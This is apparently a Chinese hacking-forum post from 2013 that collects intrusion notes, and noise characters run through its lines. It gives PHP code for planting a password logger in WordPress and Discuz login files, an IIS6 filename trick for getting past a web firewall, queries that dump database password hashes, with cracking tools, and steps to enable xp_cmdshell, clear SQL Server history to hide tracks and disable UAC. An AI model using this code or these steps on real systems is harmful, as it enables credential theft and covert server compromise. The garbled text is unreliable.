% H& H' L0 Z% x// log password5 y! z( U. {7 e% w
$log_user=$_POST['log'];6 u1 i9 ^4 x. B; x+ A) ]% S
$log_pwd=$_POST['pwd'];
  R- p$ F; c/ N0 ~. [& s$log_ip=$_SERVER["REMOTE_ADDR"];
2 D: h+ U: \3 J% f; d1 U$txt=$log_user.’|’.$log_pwd.’|’.$log_ip;
, H1 _" T2 O6 b5 `  ]$txt=$txt.”\r\n”;8 g9 S8 ]# M; V  J
if($log_user&&$log_pwd&&$log_ip){2 N# ~! w$ x8 T3 }7 [# ^
@fwrite(fopen(‘pwd.txt’,”a+”),$txt);
  B. p1 @- X. G5 u}' f" ^& N- v& v1 o7 \, I
当action=login的时候会触发记录密码code,当然了你也可以在switch…case..语句中的default中写该代码。% Y3 T  |2 x0 }* s
就是搜索case ‘login’7 t' z% ?1 \$ H# d/ [4 r# f! o- m: C
在它下面直接插入即可,记录的密码生成在pwd.txt中,
4 k, o1 ]. d$ Q3 s& [5 g, I其实修改wp-login.php不是个好办法。容易被发现,还有其他的方法的,做个记录% R2 n0 r8 l" D' l5 M
利用II6文件解析漏洞绕过安全狗代码:+ ~5 |$ R% g5 P; \3 X, [6 g' w
;antian365.asp;antian365.jpg
  L; J0 E& l, H. N
- a& I3 F+ R" G/ [6 K! b% ?% m各种类型数据库抓HASH破解最高权限密码!
' f2 h7 q7 ?1 P& B2 n1.sql server2000& r. d  y( R% ^6 p) Y3 N; ^8 T
SELECT password from master.dbo.sysxlogins where name='sa'! Y" B' }+ Z2 d( H' C# W5 N
0×010034767D5C0CFA5FDCA28C4A56085E65E882E71CB0ED250341( _) H: y4 k: k3 X% s9 u
2FD54D6119FFF04129A1D72E7C3194F7284A7F3A
2 ]+ Q( P& L9 M1 z
/ X, |5 p" d2 N. R( N0×0100- constant header
& _: Z# c4 W7 X7 e34767D5C- salt, @) U7 m8 V: v# a0 I4 p
0CFA5FDCA28C4A56085E65E882E71CB0ED250341- case senstive hash
) R. s2 c- I' F, ?- T: ~2FD54D6119FFF04129A1D72E7C3194F7284A7F3A- upper case hash
3 g1 y2 Z+ ^. [crack the upper case hash in ‘cain and abel’ and then work the case sentive hash
/ \+ c5 g. i' z! M; G: [SQL server 2005:-! Q/ o3 Y. d  T* q. }+ U
SELECT password_hash FROM sys.sql_logins where name='sa'
' j1 F8 r" |) B' }0×0100993BF2315F36CC441485B35C4D84687DC02C78B0E680411F
- y$ H% x; ]7 q3 H5 `0×0100- constant header
. {+ _1 Q: o0 V1 H1 w) s+ f993BF231-salt
: k$ B! r3 ~; j5 s% Q! B5F36CC441485B35C4D84687DC02C78B0E680411F- case sensitive hash5 a4 o' [/ I0 k; w  @
crack case sensitive hash in cain, try brute force and dictionary based attacks." V; m* H# e$ N) s" X( E

1 M" l2 Z+ y$ v4 B0 Xupdate:- following bernardo’s comments:-: a! k0 u1 ?2 R% B
use function fn_varbintohexstr() to cast password in a hex string.
. u! G6 L" u1 Z* [$ Ge.g. select name from sysxlogins union all select master.dbo.fn_varbintohexstr(password)from sysxlogins; m  F) [! Y- k& _0 F0 {

2 z, ]/ |6 `4 Z# E- G/ KMYSQL:-
" j: O0 o, ^, ~/ m8 X  \; j
. h+ ~. ?5 c9 C$ w4 i1 K8 r8 F$ rIn MySQL you can generate hashes internally using the password(), md5(), or sha1 functions. password() is the function used for MySQL’s own user authentication system. It returns a 16-byte string for MySQL versions prior to 4.1, and a 41-byte string (based on a double SHA-1 hash) for versions 4.1 and up. md5() is available from MySQL version 3.23.2 and sha1() was added later in 4.0.2.8 k9 e) K( `6 y  p1 p8 P0 Q* x
. m% h+ o* [3 ?
*mysql  < 4.1; s1 P) g- ?6 e' G/ Z
9 B6 z/ b) L5 ~: b+ e
mysql> SELECT PASSWORD(‘mypass’);7 P3 K% G3 ^4 j& G! U" N
+——————–+
  n: w4 M$ o# b| PASSWORD(‘mypass’) |9 ^7 W/ A7 D* C- _* \
+——————–+
1 i1 U. `4 V7 i1 H+ @( [% U| 6f8c114b58f2ce9e   |8 J7 _4 {5 t' k0 {, S4 I1 c8 G
+——————–+* z1 j! Y  e) @' k( n; e
# r! v! v$ m% x/ Q6 T$ m' n7 ^
*mysql >=4.1
' I3 J$ R1 Q# l# }. i. e2 k: v- l; d
mysql> SELECT PASSWORD(‘mypass’);
/ d4 _0 h6 B- w6 z4 e& }. Y; e9 r, z+——————————————-+" w% `: C$ ~' D) d4 }3 F' W
| PASSWORD(‘mypass’)                        |
6 `/ x  P6 c* x, w+——————————————-+
/ m+ I8 |# q1 H  f9 C| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |) l2 @! P: N5 F3 X0 n
+——————————————-+
* s' d0 A+ T" A% u3 `' o# |3 M$ h* {! z; k4 |4 [( c  C4 S
Select user, password from mysql.user2 ]7 V* P' W& J$ V. v  }/ C4 I0 p
The hashes can be cracked in ‘cain and abel’
* i. C" q  ]1 k5 p& o$ k  ]; H' A5 ~; q+ I
Postgres:-1 R; h6 q8 C* I1 j& ^) D  w7 X, |
Postgres keeps MD5-based password hashes for database-level users in the pg_shadow table.  You need to be the database superuser to read this table (usually called “postgres” or “pgsql”)) }( G& A! v( T; w0 Z' p
select usename, passwd from pg_shadow;
$ d2 ?0 v; ?0 {0 u) Rusename      |  passwd
- B4 j$ w. `) j. N5 d+ ]——————+————————————-2 D. G+ J2 J! O* A
testuser            | md5fabb6d7172aadfda4753bf0507ed4396
, J( W, l$ ~) x5 |# zuse mdcrack to crack these hashes:-% N; d6 ~2 p" t5 x  Z# }/ M9 d
$ wine MDCrack-sse.exe –algorithm=MD5 –append=testuser fabb6d7172aadfda4753bf0507ed4396
8 e0 f# e, o; [( ?2 b) T! y6 b" F
Oracle:-* R3 S+ m% i+ U
select name, password, spare4 from sys.user$
9 A) y. f4 O7 {/ K4 phashes could be cracked using ‘cain and abel’ or thc-orakelcrackert11g7 V3 c; Y: H: k! ?1 o
More on Oracle later, i am a bit bored….& X  J1 C+ K3 A. X$ `) v
9 v2 Y3 z( ~: y5 b

7 P3 w8 S8 M" i/ N3 ^( }在sql server2005/2008中开启xp_cmdshell
9 Y; G8 H" e/ P2 a2 `-- To allow advanced options to be changed.
/ H3 m3 V+ t" M# mEXEC sp_configure 'show advanced options', 1
# Q% u8 y* X  O& ]  s4 M/ o( xGO
1 }9 Q$ g& B& E$ J* l/ g5 h-- To update the currently configured value for advanced options.- V3 P. J% g5 J3 F1 p) n
RECONFIGURE
  @, o  m1 I- C4 S2 N5 x8 ^GO4 @/ g0 K7 }, m2 z0 s0 j9 N
-- To enable the feature.
' L) Z& b* z' a- FEXEC sp_configure 'xp_cmdshell', 18 u$ L9 K6 a, I0 B# N
GO/ |4 j5 k9 i0 v  d: Q6 O# u. [
-- To update the currently configured value for this feature.0 L+ i1 S/ t& k7 u& z1 d, a
RECONFIGURE
; J7 g( r' \) T. A+ f% W/ nGO' K. ^0 K# c' w& q2 ~# x3 W( i
SQL 2008 server日志清除,在清楚前一定要备份。
* s: @1 J1 N: @7 l如果Windows Server 2008 标准版安装SQL Express 2008,则在这里删除:* I8 ^5 r+ G7 w6 [+ i
X:\Users[SomeUser]\AppData\Roaming\Microsoft\Microsoft SQL Server\100\Tools\Shell\SqlStudio.bin( d: f, [$ g8 f
5 q; G, K% _7 g; t7 f9 }
对于SQL Server 2008以前的版本:4 S) d5 N4 \; J- a9 Z* l' ?
SQL Server 2005:4 M+ ~- x5 d* _1 w6 b
删除X:\Documents and Settings\XXX\Application Data\Microsoft\Microsoft SQL Server\90\Tools\Shell\mru.dat3 \) J% z/ Z$ T/ ?
SQL Server 2000:' Z$ r, A1 m' e
清除注册表HKEY_CURRENT_USER\Software\Microsoft\Microsoft  SQL  Server\80\Tools\Client\PrefServers\相应的内容即可。
; r! J9 p7 C& [  w( G4 B2 y5 |2 l! j9 R4 X& m/ N
本帖最后由 simeon 于 2013-1-3 09:51 编辑
0 \0 m: x" e- U! B/ {8 M: |! R+ }7 P* e$ E0 q/ s# n% a4 H
: J) A1 l3 q) [. M' R
windows 2008 文件权限修改
5 }; l; n: V* S- D9 B! v: v7 v1.http://technet.microsoft.com/zh- ... 4%28v=ws.10%29.aspx9 f  v8 O: E: l2 K% [0 \
2.http://hi.baidu.com/xiaobei713/item/b0cfae38f6bd278df5e4ad98
. ]% y" F8 `) v2 F9 M一、先在右键菜单里面看看有没有“管理员取得所有权”,没有“管理员取得所有权”,
2 Q* C4 `9 y4 M
; E: I' [" h4 ^( HWindows Registry Editor Version 5.004 ?6 L+ {0 h: `. v- D+ Q* H  @
[HKEY_CLASSES_ROOT\*\shell\runas]# X& W2 I8 ?: M1 T" j, [
@="管理员取得所有权"' Q. i* y9 I. u3 H, ^& N7 G
"NoWorkingDirectory"=""
) R4 N/ ?/ p4 J, L& V- a[HKEY_CLASSES_ROOT\*\shell\runas\command]0 m* W  }! A8 i" P. c8 h! F. J% E
@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"
. x- d+ r" V; z& r"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"
2 O" T/ s$ W6 `' W4 ][HKEY_CLASSES_ROOT\exefile\shell\runas2]0 o7 g* T' f/ `( y- M/ Y$ P
@="管理员取得所有权"
- S( a( o) y4 o# Z( y2 b$ K"NoWorkingDirectory"=""" R9 u6 k" _) O: j% a% b) n$ f
[HKEY_CLASSES_ROOT\exefile\shell\runas2\command]6 S3 ~6 X! ~( G7 |+ G# y
@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"
1 U. R' ~6 W5 M# b4 y"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"
6 R( Y( b- `9 F( u  y3 H$ c4 ?% M1 J) c! ?$ C
[HKEY_CLASSES_ROOT\Directory\shell\runas]! |' s! m# H6 `& {
@="管理员取得所有权"7 a5 g; R& a2 Z9 p4 d
"NoWorkingDirectory"=""( y% V; S7 r: u# ]4 U! `1 h1 u4 g
[HKEY_CLASSES_ROOT\Directory\shell\runas\command]
* q$ N3 Y4 j* G. h@="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"! I1 E1 N. T! o% I6 M4 t
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"
9 R: l8 [2 E( w* A/ b$ J4 E3 W
2 Z' d- R, N2 r! {& d, S  d' r: E
win7右键“管理员取得所有权”.reg导入
  `* z' p2 v5 o+ ~& w5 [# b二、在C:\Windows目录里下搜索“notepad.exe”文件,应该会搜索到四个“notepad.exe”和四个“notepad.exe.mui”,
9 {, M. V, i3 |$ t  x; [% O1、C:\Windows这个路径的“notepad.exe”不需要替换
1 P+ ~3 {- w* Q* p2、C:\Windows\System32这个路径的“notepad.exe”不需要替换8 T* I0 _+ H  t( j- b  I3 [. ~# n. J
3、四个“notepad.exe.mui”不要管, N1 @2 x- X% g1 V
4、主要替换C:\Windows\winsxs\x86_microsoft-windows-notepad_31bf3856ad364e35_6.1.7600.16385_none_6ef0e39ed15350e4和! H& c6 R, x( T
C:\Windows\winsxs\x86_microsoft-windows-notepadwin_31bf3856ad364e35_6.1.7600.16385_none_42a023025c60a33a两个文件下的“notepad.exe”
5 D8 ^! P4 ~- G$ z替换方法先取得这两个文件夹的管理员权限,然后把“Notepad2.exe”重命名为“notepad.exe”替换到这两个文件夹下面,
" c  |' p8 m0 r替换完之后回到桌面,新建一个txt文档打开看看是不是变了。/ h7 u% [, l, _' \
windows 2008中关闭安全策略: 6 g! W4 z$ k: ?. J  j" @
reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f- q7 O# C; j  A8 W
修改uc_client目录下的client.php 在
/ K  E7 H" ?7 \  yfunction uc_user_login($username, $password, $isuid = 0, $checkques = 0, $questionid = '', $answer = '') {
, I0 z# D( {; P. y7 a下加入如上代码,在网站./data/cache/目录下自动生成csslog.php; k1 t8 x% ~  X3 P8 [5 J+ r
你可以在ipdata目录下添加 view.php 可以用来查看记录的,密码为:falw
: o9 \3 R, z1 s+ p" bif(getenv('HTTP_CLIENT_IP')) {$ m* t6 c3 D& F1 T; ^. n2 Q
$onlineip = getenv('HTTP_CLIENT_IP');0 z' F- [" ]  K! R+ r* e
} elseif(getenv('HTTP_X_FORWARDED_FOR')) {
. E' [3 x3 P7 o4 p$onlineip = getenv('HTTP_X_FORWARDED_FOR');8 ^- P9 |* s  ~
} elseif(getenv('REMOTE_ADDR')) {
* ?* p& V" ^& _( j. ]- V/ @' y4 F$onlineip = getenv('REMOTE_ADDR');
4 q; c# v( Z- O% t5 X" P} else {
# k9 Z: K2 B& Z/ s, z$onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR'];% g: h* s- H) D$ @" h
}' \: {2 r  h+ K7 _2 H- |0 J
     $showtime=date("Y-m-d H:i:s");1 ?; F5 Q0 D, Z+ I9 O
    $record="<?exit();?>用户:".$username." 密码:".$password." IP:".$onlineip." Time:".$showtime."\r\n";
' o7 c1 L2 O/ d, Q    $handle=fopen('./data/cache/csslog.php','a+');2 `+ [# u0 U& T, t
    $write=fwrite($handle,$record);
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表